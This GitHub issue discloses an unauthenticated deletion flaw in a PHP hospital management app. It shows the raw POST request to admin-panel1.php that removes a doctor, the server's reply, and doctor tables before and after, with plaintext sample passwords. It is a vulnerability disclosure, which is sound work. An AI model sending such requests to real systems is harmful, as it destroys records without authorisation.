

[New issue](#)[Jump to bottom](#)

Unauthenticated Doctor Deletion Vulnerability #5

[Open](#) dumping-soup opened this issue on Aug 10, 2021 · 0 comments

dumping-soup commented on Aug 10, 2021

Crafted HTTP packet can delete doctors without being authenticated as receptionist/admin.

```
Request
Pretty Raw In Actions
1 POST /hospital/admin-panel1.php HTTP/1.1
2 Host: localhost
3 Content-Length: 47
4 Cache-Control: max-age=0
5 Upgrade-Insecure-Requests: 1
6 Origin: http://localhost
7 Content-Type: application/x-www-form-urlencoded
8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36
9 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
10 Referer: http://localhost/hospital/admin-panel1.php
11 Accept-Encoding: gzip, deflate
12 Accept-Language: en-US,en;q=0.9
13 Cookie: PHPSESSID=u1o7f8orjdchgegtib4i981uo
14 Connection: close
16 detail=ganesh%40gmail.com&docsub1=Delete+Doctor

Response
Pretty Raw Render In Actions
1 HTTP/1.1 200 OK
2 Date: Wed, 11 Aug 2021 02:08:54 GMT
3 Server: Apache/2.4.48 (Win64) OpenSSL/1.1.1k PHP/8.0.9
4 X-Powered-By: PHP/8.0.9
5 Connection: close
6 Content-Type: text/html; charset=UTF-8
7 Content-Length: 35167
8
9 <!DOCTYPE html>
10
11 <script>
12     alert('Doctor removed successfully!');
13 </script>
14 <html lang="en">
15 <head>
16
17 <!-- Required meta tags -->
18 <meta charset="utf-8">
19 <link rel="shortcut icon" type="image/x-icon" href="image:
20 <meta name="viewport" content="width=device-width, initial
21 <link rel="stylesheet" type="text/css" href="font-awesome:
22 <link rel="stylesheet" href="style.css">
23
24 <!-- Bootstrap CSS -->
25 <link rel="stylesheet" href="vendor/fontawesome/css/font-i
26 <link href="https://fonts.googleapis.com/css?family=IBM+Pl
27 <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.co
28 <!-- class=navbar navbar-expand-lg navbar-dark bg-primary
29 </html>
```

Before:

Dashboard	Enter Email ID	Search
Doctor List		
Patient List		
Appointment Details		
Prescription List		
Add Doctor		
Delete Doctor		
Queries		

Doctor Name	Specialization	Email	Password	Fees
ashok	General	ashok@gmail.com	ashok123	500
arun	Cardiologist	arun@gmail.com	arun123	600
Ganesh	Pediatrician	ganesh@gmail.com	ganesh123	550
Kumar	Pediatrician	kumar@gmail.com	kumar123	800
Amit	Cardiologist	amit@gmail.com	amit123	1000
Abbis	Neurologist	abbis@gmail.com	abbis123	1500
Tiary	Pediatrician	tiary@gmail.com	tiary123	450

After:

Dashboard	Enter Email ID	Search
Doctor List		
Patient List		
Appointment Details		
Prescription List		
Add Doctor		
Delete Doctor		
Queries		

Doctor Name	Specialization	Email	Password	Fees
ashok	General	ashok@gmail.com	ashok123	500
arun	Cardiologist	arun@gmail.com	arun123	600
Kumar	Pediatrician	kumar@gmail.com	kumar123	800
Amit	Cardiologist	amit@gmail.com	amit123	1000
Abbis	Neurologist	abbis@gmail.com	abbis123	1500
Tiary	Pediatrician	tiary@gmail.com	tiary123	450

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

1 participant

